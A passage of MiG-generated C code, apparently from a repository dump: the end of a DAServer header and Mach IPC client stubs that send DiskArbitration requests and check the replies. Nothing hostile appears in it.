904 | __Reply___DAServerDiskCopyDescription_t Reply__DAServerDiskCopyDescription;
905 | __Reply___DAServerDiskGetOptions_t Reply__DAServerDiskGetOptions;
906 | __Reply___DAServerDiskGetUserUID_t Reply__DAServerDiskGetUserUID;
907 | __Reply___DAServerDiskIsClaimed_t Reply__DAServerDiskIsClaimed;
908 | __Reply___DAServerDiskSetAdoption_t Reply__DAServerDiskSetAdoption;
909 | __Reply___DAServerDiskSetEncoding_t Reply__DAServerDiskSetEncoding;
910 | __Reply___DAServerDiskSetOptions_t Reply__DAServerDiskSetOptions;
911 | __Reply___DAServerDiskUnclaim_t Reply__DAServerDiskUnclaim;
912 | __Reply___DAServerSessionCopyCallbackQueue_t Reply__DAServerSessionCopyCallbackQueue;
913 | __Reply___DAServerSessionCreate_t Reply__DAServerSessionCreate;
914 | __Reply___DAServerSessionQueueRequest_t Reply__DAServerSessionQueueRequest;
915 | __Reply___DAServerSessionQueueResponse_t Reply__DAServerSessionQueueResponse;
916 | __Reply___DAServerSessionRegisterCallback_t Reply__DAServerSessionRegisterCallback;
917 | __Reply___DAServerSessionRelease_t Reply__DAServerSessionRelease;
918 | __Reply___DAServerSessionSetAuthorization_t Reply__DAServerSessionSetAuthorization;
919 | __Reply___DAServerSessionSetClientPort_t Reply__DAServerSessionSetClientPort;
920 | __Reply___DAServerSessionUnregisterCallback_t Reply__DAServerSessionUnregisterCallback;
921 | __Reply___DAServermkdir_t Reply__DAServermkdir;
922 | };
923 | #endif /* !__RequestUnion__DAServer_subsystem__defined */
924 |
925 | #ifndef subsystem_to_name_map_DAServer
926 | #define subsystem_to_name_map_DAServer \
927 | { "_DAServerDiskCopyDescription", 0 },\
928 | { "_DAServerDiskGetOptions", 1 },\
929 | { "_DAServerDiskGetUserUID", 2 },\
930 | { "_DAServerDiskIsClaimed", 3 },\
931 | { "_DAServerDiskSetAdoption", 4 },\
932 | { "_DAServerDiskSetEncoding", 5 },\
933 | { "_DAServerDiskSetOptions", 6 },\
934 | { "_DAServerDiskUnclaim", 7 },\
935 | { "_DAServerSessionCopyCallbackQueue", 8 },\
936 | { "_DAServerSessionCreate", 9 },\
937 | { "_DAServerSessionQueueRequest", 10 },\
938 | { "_DAServerSessionQueueResponse", 11 },\
939 | { "_DAServerSessionRegisterCallback", 12 },\
940 | { "_DAServerSessionRelease", 13 },\
941 | { "_DAServerSessionSetAuthorization", 14 },\
942 | { "_DAServerSessionSetClientPort", 15 },\
943 | { "_DAServerSessionUnregisterCallback", 16 },\
944 | { "_DAServermkdir", 17 }
945 | #endif
946 |
947 | #ifdef __AfterMigUserHeader
948 | __AfterMigUserHeader
949 | #endif /* __AfterMigUserHeader */
950 |
951 | #endif /* _DAServer_user_ */
952 |
--------------------------------------------------------------------------------
/DAServerUser.c:
--------------------------------------------------------------------------------
1 | /*
2 | * IDENTIFICATION:
3 | * stub generated Wed Jan 25 03:21:59 2017
4 | * with a MiG generated by bootstrap_cmds-96.20.2
5 | * OPTIONS:
6 | */
7 | #define __MIG_check__Reply__DAServer_subsystem__ 1
8 |
9 | #include "DAServer.h"
10 |
11 |
12 | #ifndef mig_internal
13 | #define mig_internal static __inline__
14 | #endif /* mig_internal */
15 |
16 | #ifndef mig_external
17 | #define mig_external
18 | #endif /* mig_external */
19 |
20 | #if !defined(__MigTypeCheck) && defined(TypeCheck)
21 | #define __MigTypeCheck TypeCheck /* Legacy setting */
22 | #endif /* !defined(__MigTypeCheck) */
23 |
24 | #if !defined(__MigKernelSpecificCode) && defined(_MIG_KERNEL_SPECIFIC_CODE_)
25 | #define __MigKernelSpecificCode _MIG_KERNEL_SPECIFIC_CODE_ /* Legacy setting */
26 | #endif /* !defined(__MigKernelSpecificCode) */
27 |
28 | #ifndef LimitCheck
29 | #define LimitCheck 0
30 | #endif /* LimitCheck */
31 |
32 | #ifndef min
33 | #define min(a,b) ( ((a) < (b))? (a): (b) )
34 | #endif /* min */
35 |
36 | #if !defined(_WALIGN_)
37 | #define _WALIGN_(x) (((x) + 3) & ~3)
38 | #endif /* !defined(_WALIGN_) */
39 |
40 | #if !defined(_WALIGNSZ_)
41 | #define _WALIGNSZ_(x) _WALIGN_(sizeof(x))
42 | #endif /* !defined(_WALIGNSZ_) */
43 |
44 | #ifndef UseStaticTemplates
45 | #define UseStaticTemplates 0
46 | #endif /* UseStaticTemplates */
47 |
48 | #ifndef __MachMsgErrorWithTimeout
49 | #define __MachMsgErrorWithTimeout(_R_) { \
50 | switch (_R_) { \
51 | case MACH_SEND_INVALID_DATA: \
52 | case MACH_SEND_INVALID_DEST: \
53 | case MACH_SEND_INVALID_HEADER: \
54 | mig_put_reply_port(InP->Head.msgh_reply_port); \
55 | break; \
56 | case MACH_SEND_TIMED_OUT: \
57 | case MACH_RCV_TIMED_OUT: \
58 | default: \
59 | mig_dealloc_reply_port(InP->Head.msgh_reply_port); \
60 | } \
61 | }
62 | #endif /* __MachMsgErrorWithTimeout */
63 |
64 | #ifndef __MachMsgErrorWithoutTimeout
65 | #define __MachMsgErrorWithoutTimeout(_R_) { \
66 | switch (_R_) { \
67 | case MACH_SEND_INVALID_DATA: \
68 | case MACH_SEND_INVALID_DEST: \
69 | case MACH_SEND_INVALID_HEADER: \
70 | mig_put_reply_port(InP->Head.msgh_reply_port); \
71 | break; \
72 | default: \
73 | mig_dealloc_reply_port(InP->Head.msgh_reply_port); \
74 | } \
75 | }
76 | #endif /* __MachMsgErrorWithoutTimeout */
77 |
78 | #ifndef __DeclareSendRpc
79 | #define __DeclareSendRpc(_NUM_, _NAME_)
80 | #endif /* __DeclareSendRpc */
81 |
82 | #ifndef __BeforeSendRpc
83 | #define __BeforeSendRpc(_NUM_, _NAME_)
84 | #endif /* __BeforeSendRpc */
85 |
86 | #ifndef __AfterSendRpc
87 | #define __AfterSendRpc(_NUM_, _NAME_)
88 | #endif /* __AfterSendRpc */
89 |
90 | #ifndef __DeclareSendSimple
91 | #define __DeclareSendSimple(_NUM_, _NAME_)
92 | #endif /* __DeclareSendSimple */
93 |
94 | #ifndef __BeforeSendSimple
95 | #define __BeforeSendSimple(_NUM_, _NAME_)
96 | #endif /* __BeforeSendSimple */
97 |
98 | #ifndef __AfterSendSimple
99 | #define __AfterSendSimple(_NUM_, _NAME_)
100 | #endif /* __AfterSendSimple */
101 |
102 | #define msgh_request_port msgh_remote_port
103 | #define msgh_reply_port msgh_local_port
104 |
105 |
106 |
107 | #if ( __MigTypeCheck )
108 | #if __MIG_check__Reply__DAServer_subsystem__
109 | #if !defined(__MIG_check__Reply___DAServerDiskCopyDescription_t__defined)
110 | #define __MIG_check__Reply___DAServerDiskCopyDescription_t__defined
111 |
112 | mig_internal kern_return_t __MIG_check__Reply___DAServerDiskCopyDescription_t(__Reply___DAServerDiskCopyDescription_t *Out0P)
113 | {
114 |
115 | typedef __Reply___DAServerDiskCopyDescription_t __Reply __attribute__((unused));
116 | boolean_t msgh_simple;
117 | #if __MigTypeCheck
118 | unsigned int msgh_size;
119 | #endif /* __MigTypeCheck */
120 | if (Out0P->Head.msgh_id != 100) {
121 | if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
122 | { return MIG_SERVER_DIED; }
123 | else
124 | { return MIG_REPLY_MISMATCH; }
125 | }
126 |
127 | msgh_simple = !(Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX);
128 | #if __MigTypeCheck
129 | msgh_size = Out0P->Head.msgh_size;
130 |
131 | if ((msgh_simple || Out0P->msgh_body.msgh_descriptor_count != 1 ||
132 | msgh_size != (mach_msg_size_t)sizeof(__Reply)) &&
133 | (!msgh_simple || msgh_size != (mach_msg_size_t)sizeof(mig_reply_error_t) ||
134 | ((mig_reply_error_t *)Out0P)->RetCode == KERN_SUCCESS))
135 | { return MIG_TYPE_ERROR ; }
136 | #endif /* __MigTypeCheck */
137 |
138 | if (msgh_simple) {
139 | return ((mig_reply_error_t *)Out0P)->RetCode;
140 | }
141 |
142 | #if __MigTypeCheck
143 | if (Out0P->_description.type != MACH_MSG_OOL_DESCRIPTOR) {
144 | return MIG_TYPE_ERROR;
145 | }
146 | #endif /* __MigTypeCheck */
147 |
148 | return MACH_MSG_SUCCESS;
149 | }
150 | #endif /* !defined(__MIG_check__Reply___DAServerDiskCopyDescription_t__defined) */
151 | #endif /* __MIG_check__Reply__DAServer_subsystem__ */
152 | #endif /* ( __MigTypeCheck ) */
153 |
154 |
155 | /* Routine _DAServerDiskCopyDescription */
156 | mig_external kern_return_t _DAServerDiskCopyDescription
157 | (
158 | mach_port_t _session,
159 | caddr_t _disk,
160 | vm_address_t *_description,
161 | mach_msg_type_number_t *_descriptionCnt
162 | )
163 | {
164 |
165 | #ifdef __MigPackStructs
166 | #pragma pack(4)
167 | #endif
168 | typedef struct {
169 | mach_msg_header_t Head;
170 | NDR_record_t NDR;
171 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
172 | mach_msg_type_number_t _diskCnt;
173 | char _disk[1024];
174 | } Request __attribute__((unused));
175 | #ifdef __MigPackStructs
176 | #pragma pack()
177 | #endif
178 |
179 | #ifdef __MigPackStructs
180 | #pragma pack(4)
181 | #endif
182 | typedef struct {
183 | mach_msg_header_t Head;
184 | /* start of the kernel processed data */
185 | mach_msg_body_t msgh_body;
186 | mach_msg_ool_descriptor_t _description;
187 | /* end of the kernel processed data */
188 | NDR_record_t NDR;
189 | mach_msg_type_number_t _descriptionCnt;
190 | mach_msg_trailer_t trailer;
191 | } Reply __attribute__((unused));
192 | #ifdef __MigPackStructs
193 | #pragma pack()
194 | #endif
195 |
196 | #ifdef __MigPackStructs
197 | #pragma pack(4)
198 | #endif
199 | typedef struct {
200 | mach_msg_header_t Head;
201 | /* start of the kernel processed data */
202 | mach_msg_body_t msgh_body;
203 | mach_msg_ool_descriptor_t _description;
204 | /* end of the kernel processed data */
205 | NDR_record_t NDR;
206 | mach_msg_type_number_t _descriptionCnt;
207 | } __Reply __attribute__((unused));
208 | #ifdef __MigPackStructs
209 | #pragma pack()
210 | #endif
211 | /*
212 | * typedef struct {
213 | * mach_msg_header_t Head;
214 | * NDR_record_t NDR;
215 | * kern_return_t RetCode;
216 | * } mig_reply_error_t;
217 | */
218 |
219 | union {
220 | Request In;
221 | Reply Out;
222 | } Mess;
223 |
224 | Request *InP = &Mess.In;
225 | Reply *Out0P = &Mess.Out;
226 |
227 | mach_msg_return_t msg_result;
228 | unsigned int msgh_size;
229 |
230 | #ifdef __MIG_check__Reply___DAServerDiskCopyDescription_t__defined
231 | kern_return_t check_result;
232 | #endif /* __MIG_check__Reply___DAServerDiskCopyDescription_t__defined */
233 |
234 | __DeclareSendRpc(0, "_DAServerDiskCopyDescription")
235 |
236 | InP->NDR = NDR_record;
237 |
238 | #ifdef USING_MIG_STRNCPY_ZEROFILL
239 | if (mig_strncpy_zerofill != NULL) {
240 | InP->_diskCnt = mig_strncpy_zerofill(InP->_disk, _disk, 1024);
241 | } else {
242 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
243 | InP->_diskCnt = mig_strncpy(InP->_disk, _disk, 1024);
244 | #ifdef USING_MIG_STRNCPY_ZEROFILL
245 | }
246 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
247 |
248 | msgh_size = (mach_msg_size_t)(sizeof(Request) - 1024) + (_WALIGN_(InP->_diskCnt));
249 | InP->Head.msgh_bits =
250 | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
251 | /* msgh_size passed as argument */
252 | InP->Head.msgh_request_port = _session;
253 | InP->Head.msgh_reply_port = mig_get_reply_port();
254 | InP->Head.msgh_id = 0;
255 | InP->Head.msgh_reserved = 0;
256 |
257 | /* BEGIN VOUCHER CODE */
258 |
259 | #ifdef USING_VOUCHERS
260 | if (voucher_mach_msg_set != NULL) {
261 | voucher_mach_msg_set(&InP->Head);
262 | }
263 | #endif // USING_VOUCHERS
264 |
265 | /* END VOUCHER CODE */
266 |
267 | __BeforeSendRpc(0, "_DAServerDiskCopyDescription")
268 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
269 | __AfterSendRpc(0, "_DAServerDiskCopyDescription")
270 | if (msg_result != MACH_MSG_SUCCESS) {
271 | __MachMsgErrorWithoutTimeout(msg_result);
272 | { return msg_result; }
273 | }
274 |
275 |
276 | #if defined(__MIG_check__Reply___DAServerDiskCopyDescription_t__defined)
277 | check_result = __MIG_check__Reply___DAServerDiskCopyDescription_t((__Reply___DAServerDiskCopyDescription_t *)Out0P);
278 | if (check_result != MACH_MSG_SUCCESS)
279 | { return check_result; }
280 | #endif /* defined(__MIG_check__Reply___DAServerDiskCopyDescription_t__defined) */
281 |
282 | *_description = (vm_address_t)(Out0P->_description.address);
283 | *_descriptionCnt = Out0P->_descriptionCnt;
284 |
285 | return KERN_SUCCESS;
286 | }
287 |
288 | #if ( __MigTypeCheck )
289 | #if __MIG_check__Reply__DAServer_subsystem__
290 | #if !defined(__MIG_check__Reply___DAServerDiskGetOptions_t__defined)
291 | #define __MIG_check__Reply___DAServerDiskGetOptions_t__defined
292 |
293 | mig_internal kern_return_t __MIG_check__Reply___DAServerDiskGetOptions_t(__Reply___DAServerDiskGetOptions_t *Out0P)
294 | {
295 |
296 | typedef __Reply___DAServerDiskGetOptions_t __Reply __attribute__((unused));
297 | #if __MigTypeCheck
298 | unsigned int msgh_size;
299 | #endif /* __MigTypeCheck */
300 | if (Out0P->Head.msgh_id != 101) {
301 | if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
302 | { return MIG_SERVER_DIED; }
303 | else
304 | { return MIG_REPLY_MISMATCH; }
305 | }
306 |
307 | #if __MigTypeCheck
308 | msgh_size = Out0P->Head.msgh_size;
309 |
310 | if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||
311 | ((msgh_size != (mach_msg_size_t)sizeof(__Reply)) &&
312 | (msgh_size != (mach_msg_size_t)sizeof(mig_reply_error_t) ||
313 | Out0P->RetCode == KERN_SUCCESS)))
314 | { return MIG_TYPE_ERROR ; }
315 | #endif /* __MigTypeCheck */
316 |
317 | if (Out0P->RetCode != KERN_SUCCESS) {
318 | return ((mig_reply_error_t *)Out0P)->RetCode;
319 | }
320 |
321 | return MACH_MSG_SUCCESS;
322 | }
323 | #endif /* !defined(__MIG_check__Reply___DAServerDiskGetOptions_t__defined) */
324 | #endif /* __MIG_check__Reply__DAServer_subsystem__ */
325 | #endif /* ( __MigTypeCheck ) */
326 |
327 |
328 | /* Routine _DAServerDiskGetOptions */
329 | mig_external kern_return_t _DAServerDiskGetOptions
330 | (
331 | mach_port_t _session,
332 | caddr_t _disk,
333 | int32_t *_options
334 | )
335 | {
336 |
337 | #ifdef __MigPackStructs
338 | #pragma pack(4)
339 | #endif
340 | typedef struct {
341 | mach_msg_header_t Head;
342 | NDR_record_t NDR;
343 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
344 | mach_msg_type_number_t _diskCnt;
345 | char _disk[1024];
346 | } Request __attribute__((unused));
347 | #ifdef __MigPackStructs
348 | #pragma pack()
349 | #endif
350 |
351 | #ifdef __MigPackStructs
352 | #pragma pack(4)
353 | #endif
354 | typedef struct {
355 | mach_msg_header_t Head;
356 | NDR_record_t NDR;
357 | kern_return_t RetCode;
358 | int32_t _options;
359 | mach_msg_trailer_t trailer;
360 | } Reply __attribute__((unused));
361 | #ifdef __MigPackStructs
362 | #pragma pack()
363 | #endif
364 |
365 | #ifdef __MigPackStructs
366 | #pragma pack(4)
367 | #endif
368 | typedef struct {
369 | mach_msg_header_t Head;
370 | NDR_record_t NDR;
371 | kern_return_t RetCode;
372 | int32_t _options;
373 | } __Reply __attribute__((unused));
374 | #ifdef __MigPackStructs
375 | #pragma pack()
376 | #endif
377 | /*
378 | * typedef struct {
379 | * mach_msg_header_t Head;
380 | * NDR_record_t NDR;
381 | * kern_return_t RetCode;
382 | * } mig_reply_error_t;
383 | */
384 |
385 | union {
386 | Request In;
387 | Reply Out;
388 | } Mess;
389 |
390 | Request *InP = &Mess.In;
391 | Reply *Out0P = &Mess.Out;
392 |
393 | mach_msg_return_t msg_result;
394 | unsigned int msgh_size;
395 |
396 | #ifdef __MIG_check__Reply___DAServerDiskGetOptions_t__defined
397 | kern_return_t check_result;
398 | #endif /* __MIG_check__Reply___DAServerDiskGetOptions_t__defined */
399 |
400 | __DeclareSendRpc(1, "_DAServerDiskGetOptions")
401 |
402 | InP->NDR = NDR_record;
403 |
404 | #ifdef USING_MIG_STRNCPY_ZEROFILL
405 | if (mig_strncpy_zerofill != NULL) {
406 | InP->_diskCnt = mig_strncpy_zerofill(InP->_disk, _disk, 1024);
407 | } else {
408 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
409 | InP->_diskCnt = mig_strncpy(InP->_disk, _disk, 1024);
410 | #ifdef USING_MIG_STRNCPY_ZEROFILL
411 | }
412 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
413 |
414 | msgh_size = (mach_msg_size_t)(sizeof(Request) - 1024) + (_WALIGN_(InP->_diskCnt));
415 | InP->Head.msgh_bits =
416 | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
417 | /* msgh_size passed as argument */
418 | InP->Head.msgh_request_port = _session;
419 | InP->Head.msgh_reply_port = mig_get_reply_port();
420 | InP->Head.msgh_id = 1;
421 | InP->Head.msgh_reserved = 0;
422 |
423 | /* BEGIN VOUCHER CODE */
424 |
425 | #ifdef USING_VOUCHERS
426 | if (voucher_mach_msg_set != NULL) {
427 | voucher_mach_msg_set(&InP->Head);
428 | }
429 | #endif // USING_VOUCHERS
430 |
431 | /* END VOUCHER CODE */
432 |
433 | __BeforeSendRpc(1, "_DAServerDiskGetOptions")
434 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
435 | __AfterSendRpc(1, "_DAServerDiskGetOptions")
436 | if (msg_result != MACH_MSG_SUCCESS) {
437 | __MachMsgErrorWithoutTimeout(msg_result);
438 | { return msg_result; }
439 | }
440 |
441 |
442 | #if defined(__MIG_check__Reply___DAServerDiskGetOptions_t__defined)
443 | check_result = __MIG_check__Reply___DAServerDiskGetOptions_t((__Reply___DAServerDiskGetOptions_t *)Out0P);
444 | if (check_result != MACH_MSG_SUCCESS)
445 | { return check_result; }
446 | #endif /* defined(__MIG_check__Reply___DAServerDiskGetOptions_t__defined) */
447 |
448 | *_options = Out0P->_options;
449 |
450 | return KERN_SUCCESS;
451 | }
452 |
453 | #if ( __MigTypeCheck )
454 | #if __MIG_check__Reply__DAServer_subsystem__
455 | #if !defined(__MIG_check__Reply___DAServerDiskGetUserUID_t__defined)
456 | #define __MIG_check__Reply___DAServerDiskGetUserUID_t__defined
457 |
458 | mig_internal kern_return_t __MIG_check__Reply___DAServerDiskGetUserUID_t(__Reply___DAServerDiskGetUserUID_t *Out0P)
459 | {
460 |
461 | typedef __Reply___DAServerDiskGetUserUID_t __Reply __attribute__((unused));
462 | #if __MigTypeCheck
463 | unsigned int msgh_size;
464 | #endif /* __MigTypeCheck */
465 | if (Out0P->Head.msgh_id != 102) {
466 | if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
467 | { return MIG_SERVER_DIED; }
468 | else
469 | { return MIG_REPLY_MISMATCH; }
470 | }
471 |
472 | #if __MigTypeCheck
473 | msgh_size = Out0P->Head.msgh_size;
474 |
475 | if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||
476 | ((msgh_size != (mach_msg_size_t)sizeof(__Reply)) &&
477 | (msgh_size != (mach_msg_size_t)sizeof(mig_reply_error_t) ||
478 | Out0P->RetCode == KERN_SUCCESS)))
479 | { return MIG_TYPE_ERROR ; }
480 | #endif /* __MigTypeCheck */
481 |
482 | if (Out0P->RetCode != KERN_SUCCESS) {
483 | return ((mig_reply_error_t *)Out0P)->RetCode;
484 | }
485 |
486 | return MACH_MSG_SUCCESS;
487 | }
488 | #endif /* !defined(__MIG_check__Reply___DAServerDiskGetUserUID_t__defined) */
489 | #endif /* __MIG_check__Reply__DAServer_subsystem__ */
490 | #endif /* ( __MigTypeCheck ) */
491 |
492 |
493 | /* Routine _DAServerDiskGetUserUID */
494 | mig_external kern_return_t _DAServerDiskGetUserUID
495 | (
496 | mach_port_t _session,
497 | caddr_t _disk,
498 | uid_t *_userUID
499 | )
500 | {
501 |
502 | #ifdef __MigPackStructs
503 | #pragma pack(4)
504 | #endif
505 | typedef struct {
506 | mach_msg_header_t Head;
507 | NDR_record_t NDR;
508 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
509 | mach_msg_type_number_t _diskCnt;
510 | char _disk[1024];
511 | } Request __attribute__((unused));
512 | #ifdef __MigPackStructs
513 | #pragma pack()
514 | #endif
515 |
516 | #ifdef __MigPackStructs
517 | #pragma pack(4)
518 | #endif
519 | typedef struct {
520 | mach_msg_header_t Head;
521 | NDR_record_t NDR;
522 | kern_return_t RetCode;
523 | uid_t _userUID;
524 | mach_msg_trailer_t trailer;
525 | } Reply __attribute__((unused));
526 | #ifdef __MigPackStructs
527 | #pragma pack()
528 | #endif
529 |
530 | #ifdef __MigPackStructs
531 | #pragma pack(4)
532 | #endif
533 | typedef struct {
534 | mach_msg_header_t Head;
535 | NDR_record_t NDR;
536 | kern_return_t RetCode;
537 | uid_t _userUID;
538 | } __Reply __attribute__((unused));
539 | #ifdef __MigPackStructs
540 | #pragma pack()
541 | #endif
542 | /*
543 | * typedef struct {
544 | * mach_msg_header_t Head;
545 | * NDR_record_t NDR;
546 | * kern_return_t RetCode;
547 | * } mig_reply_error_t;
548 | */
549 |
550 | union {
551 | Request In;
552 | Reply Out;
553 | } Mess;
554 |
555 | Request *InP = &Mess.In;
556 | Reply *Out0P = &Mess.Out;
557 |
558 | mach_msg_return_t msg_result;
559 | unsigned int msgh_size;
560 |
561 | #ifdef __MIG_check__Reply___DAServerDiskGetUserUID_t__defined
562 | kern_return_t check_result;
563 | #endif /* __MIG_check__Reply___DAServerDiskGetUserUID_t__defined */
564 |
565 | __DeclareSendRpc(2, "_DAServerDiskGetUserUID")
566 |
567 | InP->NDR = NDR_record;
568 |
569 | #ifdef USING_MIG_STRNCPY_ZEROFILL
570 | if (mig_strncpy_zerofill != NULL) {
571 | InP->_diskCnt = mig_strncpy_zerofill(InP->_disk, _disk, 1024);
572 | } else {
573 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
574 | InP->_diskCnt = mig_strncpy(InP->_disk, _disk, 1024);
575 | #ifdef USING_MIG_STRNCPY_ZEROFILL
576 | }
577 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
578 |
579 | msgh_size = (mach_msg_size_t)(sizeof(Request) - 1024) + (_WALIGN_(InP->_diskCnt));
580 | InP->Head.msgh_bits =
581 | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
582 | /* msgh_size passed as argument */
583 | InP->Head.msgh_request_port = _session;
584 | InP->Head.msgh_reply_port = mig_get_reply_port();
585 | InP->Head.msgh_id = 2;
586 | InP->Head.msgh_reserved = 0;
587 |
588 | /* BEGIN VOUCHER CODE */
589 |
590 | #ifdef USING_VOUCHERS
591 | if (voucher_mach_msg_set != NULL) {
592 | voucher_mach_msg_set(&InP->Head);
593 | }
594 | #endif // USING_VOUCHERS
595 |
596 | /* END VOUCHER CODE */
597 |
598 | __BeforeSendRpc(2, "_DAServerDiskGetUserUID")
599 | msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
600 | __AfterSendRpc(2, "_DAServerDiskGetUserUID")
601 | if (msg_result != MACH_MSG_SUCCESS) {
602 | __MachMsgErrorWithoutTimeout(msg_result);
603 | { return msg_result; }
604 | }
605 |
606 |
607 | #if defined(__MIG_check__Reply___DAServerDiskGetUserUID_t__defined)
608 | check_result = __MIG_check__Reply___DAServerDiskGetUserUID_t((__Reply___DAServerDiskGetUserUID_t *)Out0P);
609 | if (check_result != MACH_MSG_SUCCESS)
610 | { return check_result; }
611 | #endif /* defined(__MIG_check__Reply___DAServerDiskGetUserUID_t__defined) */
612 |
613 | *_userUID = Out0P->_userUID;
614 |
615 | return KERN_SUCCESS;
616 | }
617 |
618 | #if ( __MigTypeCheck )
619 | #if __MIG_check__Reply__DAServer_subsystem__
620 | #if !defined(__MIG_check__Reply___DAServerDiskIsClaimed_t__defined)
621 | #define __MIG_check__Reply___DAServerDiskIsClaimed_t__defined
622 |
623 | mig_internal kern_return_t __MIG_check__Reply___DAServerDiskIsClaimed_t(__Reply___DAServerDiskIsClaimed_t *Out0P)
624 | {
625 |
626 | typedef __Reply___DAServerDiskIsClaimed_t __Reply __attribute__((unused));
627 | #if __MigTypeCheck
628 | unsigned int msgh_size;
629 | #endif /* __MigTypeCheck */
630 | if (Out0P->Head.msgh_id != 103) {
631 | if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
632 | { return MIG_SERVER_DIED; }
633 | else
634 | { return MIG_REPLY_MISMATCH; }
635 | }
636 |
637 | #if __MigTypeCheck
638 | msgh_size = Out0P->Head.msgh_size;
639 |
640 | if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||
641 | ((msgh_size != (mach_msg_size_t)sizeof(__Reply)) &&
642 | (msgh_size != (mach_msg_size_t)sizeof(mig_reply_error_t) ||
643 | Out0P->RetCode == KERN_SUCCESS)))
644 | { return MIG_TYPE_ERROR ; }
645 | #endif /* __MigTypeCheck */
646 |
647 | if (Out0P->RetCode != KERN_SUCCESS) {
648 | return ((mig_reply_error_t *)Out0P)->RetCode;
649 | }
650 |
651 | return MACH_MSG_SUCCESS;
652 | }
653 | #endif /* !defined(__MIG_check__Reply___DAServerDiskIsClaimed_t__defined) */
654 | #endif /* __MIG_check__Reply__DAServer_subsystem__ */
655 | #endif /* ( __MigTypeCheck ) */
656 |
657 |
658 | /* Routine _DAServerDiskIsClaimed */
659 | mig_external kern_return_t _DAServerDiskIsClaimed
660 | (
661 | mach_port_t _session,
662 | caddr_t _disk,
663 | boolean_t *_claimed
664 | )
665 | {
666 |
667 | #ifdef __MigPackStructs
668 | #pragma pack(4)
669 | #endif
670 | typedef struct {
671 | mach_msg_header_t Head;
672 | NDR_record_t NDR;
673 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
674 | mach_msg_type_number_t _diskCnt;
675 | char _disk[1024];
676 | } Request __attribute__((unused));
677 | #ifdef __MigPackStructs
678 | #pragma pack()
679 | #endif
680 |
681 | #ifdef __MigPackStructs
682 | #pragma pack(4)
683 | #endif
684 | typedef struct {
685 | mach_msg_header_t Head;
686 | NDR_record_t NDR;
687 | kern_return_t RetCode;
688 | boolean_t _claimed;
689 | mach_msg_trailer_t trailer;
690 | } Reply __attribute__((unused));
691 | #ifdef __MigPackStructs
692 | #pragma pack()
693 | #endif
694 |
695 | #ifdef __MigPackStructs
696 | #pragma pack(4)
697 | #endif
698 | typedef struct {
699 | mach_msg_header_t Head;
700 | NDR_record_t NDR;
701 | kern_return_t RetCode;
702 | boolean_t _claimed;
703 | } __Reply __attribute__((unused));
704 | #ifdef __MigPackStructs
705 | #pragma pack()
706 | #endif
707 | /*
708 | * typedef struct {
709 | * mach_msg_header_t Head;
710 | * NDR_record_t NDR;
711 | * kern_return_t RetCode;
712 | * } mig_reply_error_t;
713 | */
714 |
715 | union {
716 | Request In;
717 | Reply Out;
718 | } Mess;
719 |
720 | Request *InP = &Mess.In;
721 | Reply *Out0P = &Mess.Out;
722 |
723 | mach_msg_return_t msg_result;
724 | unsigned int msgh_size;
725 |
726 | #ifdef __MIG_check__Reply___DAServerDiskIsClaimed_t__defined
727 | kern_return_t check_result;
728 | #endif /* __MIG_check__Reply___DAServerDiskIsClaimed_t__defined */
729 |
730 | __DeclareSendRpc(3, "_DAServerDiskIsClaimed")
731 |
732 | InP->NDR = NDR_record;
733 |
734 | #ifdef USING_MIG_STRNCPY_ZEROFILL
735 | if (mig_strncpy_zerofill != NULL) {
736 | InP->_diskCnt = mig_strncpy_zerofill(InP->_disk, _disk, 1024);
737 | } else {
738 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
739 | InP->_diskCnt = mig_strncpy(InP->_disk, _disk, 1024);
740 | #ifdef USING_MIG_STRNCPY_ZEROFILL
741 | }
742 | #endif /* USING_MIG_STRNCPY_ZEROFILL */
743 |
744 | msgh_size = (mach_msg_size_t)(sizeof(Request) - 1024) + (_WALIGN_(InP->_diskCnt));
745 | InP->Head.msgh_bits =
746 | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
747 | /* msgh_size passed as argument */
748 | InP->Head.msgh_request_port = _session;
749 | InP->Head.msgh_reply_port = mig_get_reply_port();
750 | InP->Head.msgh_id = 3;
751 | InP->Head.msgh_reserved = 0;
752 |
753 | /* BEGIN VOUCHER CODE */
754 |
755 | #ifdef USING_VOUCHERS
756 | if (voucher_mach_msg_set != NULL) {
757 | voucher_mach_msg_set(&InP->Head);
758 | }
759 | #endif // USING_VOUCHERS
760 |
761 | /* END VOUCHER CODE */
762 |
763 | __BeforeSendRpc(3, "_DAServerDiskIsClaimed")
